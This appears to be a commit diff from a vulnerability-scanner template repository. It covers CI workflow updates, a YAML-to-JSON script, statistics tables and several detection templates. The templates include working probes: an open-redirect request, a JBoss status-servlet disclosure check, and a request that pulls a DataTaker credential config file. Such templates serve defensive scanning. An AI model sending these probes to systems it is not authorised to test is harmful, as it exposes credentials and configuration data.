Auto Generated New Template Addition List [Fri Jan 27 10:40:37 UTC 2023] 🤖

Merge pull request #6611 from fabaff/mystrom-detect
Support to detect myStrom plugs
2026-11-07 17:43:44 -10:00 · 2023-01-27 10:40:38 +00:00 · 2023-01-27 16:10:14 +05:30 · 2023-01-27 09:51:56 +00:00 · 2023-01-27 15:21:33 +05:30 · 2023-01-27 15:17:56 +05:30
625 changed files with 10355 additions and 3247 deletions
@@ -0,0 +1,30 @@
+# Set to true to add reviewers to pull requests
+addReviewers: true
+
+# Set to true to add assignees to pull requests
+addAssignees: true
+
+# A list of reviewers to be added to pull requests (GitHub user name)
+reviewers:
+  - ritikchaddha
+  - DhiyaneshGeek
+  - pussycat0x
+
+# A number of reviewers added to the pull request
+# Set 0 to add all the reviewers (default: 0)
+numberOfReviewers: 1
+
+ # A list of assignees, overrides reviewers if set
+assignees:
+  - DhiyaneshGeek
+  - pussycat0x
+  - ritikchaddha
+
+# A number of assignees to add to the pull request
+# Set to 0 to add all of the assignees.
+# Uses numberOfReviewers if unset.
+numberOfAssignees: 1
+
+# A list of keywords to be skipped the process that add reviewers if pull requests include it
+# skipKeywords:
+#   - wip
@@ -0,0 +1,92 @@
+package main
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"gopkg.in/yaml.v3"
+)
+
+type Classification struct {
+	CVSSScore string `yaml:"cvss-score,omitempty"`
+}
+
+type Info struct {
+	Name        string         `yaml:"name"`
+	Severity    string         `yaml:"severity"`
+	Description string         `yaml:"description"`
+	Classification Classification `yaml:"classification,omitempty"`
+}
+
+type Data struct {
+	ID          string `yaml:"id"`
+	Info        Info   `yaml:"info"`
+	FilePath    string `json:"file_path"`
+}
+
+func main() {
+	if len(os.Args) != 3 {
+		fmt.Println("Usage: go run main.go <directory> <output_file>")
+		os.Exit(1)
+	}
+
+	directory := os.Args[1]
+	outputFile := os.Args[2]
+
+	var data []Data
+
+	err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
+		if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
+			yamlFile, err := ioutil.ReadFile(path)
+                if err != nil {
+                    fmt.Printf("Error reading YAML file %s: %v\n", path, err)
+                    return err
+                }
+    
+                var d Data
+                err = yaml.Unmarshal(yamlFile, &d)
+                if err != nil {
+                    fmt.Printf("Error unmarshalling YAML file %s: %v\n", path, err)
+                    return err
+                }
+                if d.Info.Classification.CVSSScore == "" {
+                    d.Info.Classification.CVSSScore = "N/A"
+                }
+                if d.Info.Classification == (Classification{}) {
+                    d.Info.Classification.CVSSScore = "N/A"
+                }
+                d.FilePath = path
+    
+                data = append(data, d)
+            }
+            return nil
+        })
+    
+        if err != nil {
+            fmt.Printf("Error reading directory: %v\n", err)
+            os.Exit(1)
+        }
+    
+        var jsonData []byte
+        for _, d := range data {
+            temp, err := json.Marshal(d)
+            if err != nil {
+                fmt.Printf("Error marshalling JSON: %v\n", err)
+                os.Exit(1)
+            }
+            jsonData = append(jsonData, temp...)
+            jsonData = append(jsonData, byte('\n'))
+        }
+        err = ioutil.WriteFile(outputFile, jsonData, 0644)
+        if err != nil {
+            fmt.Printf("Error writing JSON data to file: %v\n", err)
+            os.Exit(1)
+        }
+    
+        fmt.Println("JSON data written to", outputFile)
+    }
+    
@@ -3,28 +3,26 @@ name: ✍🏻 CVE Annotate
 on:
  push:
    branches:
-      - master
+      - main
+    paths:
+      - 'cves/**.yaml'
  workflow_dispatch:

 jobs:
  docs:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v3
+        with: 
+          fetch-depth: 0

-      - name: Get Github tag
-        id: meta
-        run: |
-          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19

-      - name: Setup CVE annotate
-        if: steps.meta.outputs.TAG != ''
-        env:
-          VERSION: ${{ steps.meta.outputs.TAG }}
-        run: |
-          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
-          sudo unzip cve-annotate.zip -d /usr/local/bin
-        working-directory: /tmp
+      - name: cve-annotate install
+        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@latest

      - name: Generate CVE Annotations
        id: cve-annotate
@@ -0,0 +1,38 @@
+name: Generate JSON Metadata of CVE Templates 
+
+on:
+  push:
+    tags:
+      - '*'
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
+          check-latest: true
+          
+      - name: run yaml2json.go to generate cves.json
+        run: |
+           go env -w GO111MODULE=off
+           go get gopkg.in/yaml.v3
+           go run .github/scripts/yaml2json.go /home/runner/work/nuclei-templates/nuclei-templates/cves/ cves.json
+          
+      - name: Commit files
+        run: |
+          git pull
+          git add cves.json
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated cves.json [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master
@@ -3,7 +3,9 @@ name: 🥳 New Template List
 on:
  push:
    branches:
-      - master
+      - main
+    paths:
+      - '**.yaml'
  workflow_dispatch:

 jobs:
@@ -1,6 +1,10 @@
 name: ❄️ YAML Lint

-on: [push, pull_request]
+on:
+  pull_request:
+    paths:
+      - '**.yaml'
+  workflow_dispatch:

 jobs:
  build:
@@ -11,9 +11,12 @@ jobs:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@master
-      - uses: actions/setup-go@v2
-        with: 
-          go-version: 1.18
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
+          check-latest: true
+          cache: true

      - name: install checksum generator
        run: |
@@ -3,16 +3,19 @@ name: 📑 Template-DB Indexer
 on:
  push:
    branches:
-      - master
+      - main
+    paths:
+      - '**.yaml'
  workflow_dispatch:

 jobs:
  index:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/setup-go@v2
+      - name: Set up Go
+        uses: actions/setup-go@v3
        with:
-          go-version: 1.17
+          go-version: 1.19

      - name: Installing Indexer
        run: |
@@ -1,26 +1,26 @@
 name: 🛠 Template Validate

-on: [ push, pull_request ]
+on:
+  pull_request:
+    paths:
+      - '**.yaml'
+  workflow_dispatch:

 jobs:
  build:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v3
+        with: 
+          fetch-depth: 0

-      - name: Get Github tag
-        id: meta
-        run: |
-          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19

-      - name: Setup Nuclei
-        if: steps.meta.outputs.TAG != ''
-        env:
-          VERSION: ${{ steps.meta.outputs.TAG }}
-        run: |
-          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
-          sudo unzip nuclei*.zip -d /usr/local/bin
-        working-directory: /tmp
+      - name: nuclei install
+        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

      - name: Template Validation
        run: |
@@ -10,10 +10,14 @@ jobs:
  build:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@master
-      - uses: actions/setup-go@v2
+      - uses: actions/checkout@v3
        with: 
-          go-version: 1.18
+          fetch-depth: 0
+
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19

      - name: Installing Template Stats
        run: |
@@ -51,5 +55,4 @@ jobs:
      - name: Push changes
        uses: ad-m/github-push-action@master
        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: master
+          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -1,8 +1,10 @@
 name: ✨ WordPress Plugins - Update
+
 on:
  schedule:
    - cron: "0 4 * * *" # every day at 4am UTC
  workflow_dispatch:
+
 jobs:
  Update:
    runs-on: ubuntu-latest
@@ -0,0 +1,30 @@
+cves/2017/CVE-2017-1000163.yaml
+cves/2022/CVE-2022-1168.yaml
+cves/2022/CVE-2022-32429.yaml
+cves/2022/CVE-2022-39195.yaml
+exposed-panels/completeview-web-panel.yaml
+exposed-panels/connect-box-login.yaml
+exposed-panels/esphome-panel.yaml
+exposed-panels/fortinet/fortios-management-panel.yaml
+exposed-panels/mystrom-panel.yaml
+exposed-panels/pulsar-admin-console.yaml
+exposed-panels/pulsar-adminui-panel.yaml
+exposed-panels/pulsar360-admin-panel.yaml
+exposed-panels/saltstack-config-panel.yaml
+exposed-panels/sqlbuddy-panel.yaml
+exposures/configs/cypress-web-config.yaml
+file/android/deep-link-detect.yaml
+headless/headless-open-redirect.yaml
+miscellaneous/exposed-file-upload-form.yaml
+misconfiguration/esphome-dashboard.yaml
+misconfiguration/installer/nagiosxi-installer.yaml
+misconfiguration/rethinkdb-admin-console.yaml
+misconfiguration/sound4-directory-listing.yaml
+misconfiguration/syncthing-dashboard.yaml
+misconfiguration/webalizer-statistics.yaml
+technologies/default-lighttpd-placeholder-page.yaml
+vulnerabilities/other/academy-lms-xss.yaml
+vulnerabilities/other/slims-xss.yaml
+vulnerabilities/other/sound4-file-disclosure.yaml
+vulnerabilities/other/tikiwiki-xss.yaml
+vulnerabilities/vmware/vmware-cloud-xss.yaml
@@ -40,20 +40,20 @@ An overview of the nuclei template project, including statistics on unique tags,

 ## Nuclei Templates Top 10 statistics

-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
-| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
-| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
-| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
-| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
-| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
-| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
-| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
-| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1575 | dhiyaneshdk  |   708 | cves             |  1552 | info     |  1919 | http    |  4631 |
+| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1170 | network |    84 |
+| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
+| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
+| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   372 | low      |   294 |         |       |
+| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
+| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
+| xss       |   549 | dwisiswant0  |   171 | workflows        |   190 |          |       |         |       |
+| lfi       |   522 | 0x_akoko     |   171 | default-logins   |   122 |          |       |         |       |
+| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |

-**335 directories, 5229 files**.
+**337 directories, 5307 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
+{"tags":[{"name":"cve","count":1575},{"name":"panel","count":803},{"name":"wordpress","count":684},{"name":"edb","count":583},{"name":"wp-plugin","count":579},{"name":"exposure","count":573},{"name":"tech","count":567},{"name":"xss","count":549},{"name":"lfi","count":522},{"name":"cve2021","count":375},{"name":"rce","count":352},{"name":"packetstorm","count":295},{"name":"cve2022","count":283},{"name":"wpscan","count":268},{"name":"misconfig","count":242},{"name":"token-spray","count":237},{"name":"cve2020","count":224},{"name":"unauth","count":211},{"name":"wp","count":201},{"name":"top-200","count":200},{"name":"","count":195},{"name":"config","count":173},{"name":"kev","count":168},{"name":"cve2018","count":145},{"name":"default-login","count":139},{"name":"cve2019","count":138},{"name":"joomla","count":135},{"name":"iot","count":132},{"name":"apache","count":131},{"name":"oast","count":128},{"name":"sqli","count":126},{"name":"authenticated","count":124},{"name":"cve2010","count":111},{"name":"files","count":101},{"name":"top-100","count":100},{"name":"router","count":95},{"name":"redirect","count":91},{"name":"login","count":89},{"name":"network","count":88},{"name":"devops","count":76},{"name":"token","count":76},{"name":"ssrf","count":75},{"name":"takeover","count":74},{"name":"cve2017","count":71},{"name":"auth-bypass","count":69},{"name":"cms","count":67},{"name":"file","count":66},{"name":"oracle","count":63},{"name":"install","count":63},{"name":"intrusive","count":60},{"name":"seclists","count":58},{"name":"disclosure","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"logs","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":41},{"name":"debug","count":40},{"name":"vmware","count":39},{"name":"vulhub","count":38},{"name":"atlassian","count":38},{"name":"tenable","count":36},{"name":"traversal","count":35},{"name":"springboot","count":35},{"name":"injection","count":34},{"name":"huntr","count":32},{"name":"generic","count":32},{"name":"jira","count":32},{"name":"kubernetes","count":31},{"name":"listing","count":31},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"sap","count":25},{"name":"misc","count":25},{"name":"aws","count":25},{"name":"microsoft","count":25},{"name":"cnvd","count":25},{"name":"proxy","count":23},{"name":"jndi","count":23},{"name":"manageengine","count":22},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"zoho","count":22},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"api","count":21},{"name":"cicd","count":20},{"name":"deserialization","count":20},{"name":"k8s","count":20},{"name":"weblogic","count":20},{"name":"cloud","count":20},{"name":"camera","count":19},{"name":"tomcat","count":19},{"name":"ibm","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"jenkins","count":17},{"name":"struts","count":17},{"name":"wavlink","count":17},{"name":"ftp","count":17},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"printer","count":16},{"name":"msf","count":16},{"name":"fortinet","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"nginx","count":15},{"name":"amazon","count":15},{"name":"xxe","count":15},{"name":"status","count":14},{"name":"lfr","count":14},{"name":"android","count":14},{"name":"hp","count":14},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"cve2008","count":13},{"name":"confluence","count":13},{"name":"magento","count":13},{"name":"woocommerce","count":13},{"name":"rails","count":12},{"name":"vpn","count":12},{"name":"netgear","count":12},{"name":"github","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"fortigate","count":12},{"name":"zyxel","count":12},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"graphql","count":12},{"name":"backup","count":12},{"name":"airflow","count":11},{"name":"webserver","count":11},{"name":"cnvd2021","count":11},{"name":"azure","count":11},{"name":"mail","count":11},{"name":"ssl","count":11},{"name":"backdoor","count":11},{"name":"cisa","count":11},{"name":"admin","count":10},{"name":"spring","count":10},{"name":"glpi","count":10},{"name":"jolokia","count":10},{"name":"ruby","count":10},{"name":"django","count":10},{"name":"dell","count":10},{"name":"laravel","count":10},{"name":"git","count":10},{"name":"coldfusion","count":10},{"name":"grafana","count":10},{"name":"sonicwall","count":9},{"name":"zimbra","count":9},{"name":"windows","count":9},{"name":"wso2","count":9},{"name":"fastjson","count":9},{"name":"zabbix","count":9},{"name":"scada","count":9},{"name":"npm","count":9},{"name":"ssti","count":9},{"name":"phpmyadmin","count":Line truncated
@@ -1,12 +1,12 @@
-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
-| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
-| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
-| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
-| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
-| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
-| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
-| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
-| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1575 | dhiyaneshdk  |   708 | cves             |  1552 | info     |  1919 | http    |  4631 |
+| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1170 | network |    84 |
+| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
+| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
+| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   372 | low      |   294 |         |       |
+| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
+| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
+| xss       |   549 | dwisiswant0  |   171 | workflows        |   190 |          |       |         |       |
+| lfi       |   522 | 0x_akoko     |   171 | default-logins   |   122 |          |       |         |       |
+| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |
@@ -0,0 +1,37 @@
+id: CVE-2010-1429
+
+info:
+  name: JBossEAP - Sensitive Information Disclosure
+  author: R12W4N
+  severity: low
+  description: |
+    Red Hat JBoss Enterprise Application Platform (aka JBoss EAP or JBEAP) 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 allows remote attackers to obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-1429
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-3273
+    - https://rhn.redhat.com/errata/RHSA-2010-0377.html
+    - http://securitytracker.com/id?1023918
+  classification:
+    cve-id: CVE-2010-1429
+  metadata:
+    shodan-query: title:"JBoss"
+    verified: "true"
+  tags: cve,cve2010,jboss,eap,tomcat,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/status?full=true"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "JVM"
+          - "memory"
+          - "localhost/"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -1,10 +1,10 @@
 id: CVE-2016-6601

 info:
-  name: ZOHO WebNMS Framework 5.2 and 5.2 SP1 - Directory Traversal
+  name: ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
-  description: Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile
+  description: ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
    - https://www.exploit-db.com/exploits/40229/
@@ -30,3 +30,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -0,0 +1,28 @@
+id: CVE-2017-1000163
+info:
+  name: The Phoenix Framework versions 1.0.0 - Open redirect
+  author: 0x_Akoko
+  severity: medium
+  description: The Phoenix Framework versions 1.0.0 through 1.0.4, 1.1.0 through 1.1.6, 1.2.0, 1.2.2 and 1.3.0-rc.0 are vulnerable to unvalidated URL redirection, which may result in phishing or social engineering attacks.
+  reference:
+    - https://elixirforum.com/t/security-releases-for-phoenix/4143
+    - https://www.cvedetails.com/cve/CVE-2017-1000163
+    - https://vuldb.com/?id.109587
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2017-1000163
+    cwe-id: CWE-601
+  tags: cve,cve2017,redirect,phoenix
+
+requests:
+  - method: GET
+
+    path:
+      - '{{BaseURL}}/?redirect=/\interact.sh'
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
+        part: header
@@ -15,7 +15,7 @@ info:
    cvss-score: 8.2
    cve-id: CVE-2017-10075
  metadata:
-    google-dork: inurl:"/cs/idcplg"
+    google-query: inurl:"/cs/idcplg"
    verified: "true"
  tags: cve,cve2017,xss,oracle

@@ -0,0 +1,45 @@
+id: CVE-2017-11165
+
+info:
+  name: DataTaker DT80 dEX 1.50.012 - Sensitive Configurations Exposure
+  author: theabhinavgaur
+  severity: critical
+  description: |
+    dataTaker DT80 dEX 1.50.012 allows remote attackers to obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI.
+  reference:
+    - https://www.exploit-db.com/exploits/45094
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11165
+    - https://packetstormsecurity.com/files/143328/DataTaker-DT80-dEX-1.50.012-Sensitive-Configuration-Exposure.html
+    - https://www.exploit-db.com/exploits/42313/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-11165
+    cwe-id: CWE-200
+  metadata:
+    shodan-query: http.title:"datataker"
+    verified: "true"
+  tags: lfr,edb,cve,cve2017,datataker,config,packetstorm,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/services/getFile.cmd?userfile=config.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "COMMAND_SERVER"
+          - "<loggerSettings>"
+          - "config id=\"config"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/xml"
+
+      - type: status
+        status:
+          - 200
@@ -1,16 +1,16 @@
 id: CVE-2017-14186

 info:
-  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
+  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
  author: johnk3r
  severity: medium
  description: |
-    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
+    FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
    - https://fortiguard.com/advisory/FG-IR-17-242
    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
@@ -40,3 +40,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2023/01/11
@@ -4,32 +4,36 @@ info:
  name: Apache Struts 2 - Remote Command Execution
  author: Random_Robbie
  severity: critical
-  description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  description: |
+    Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
  reference:
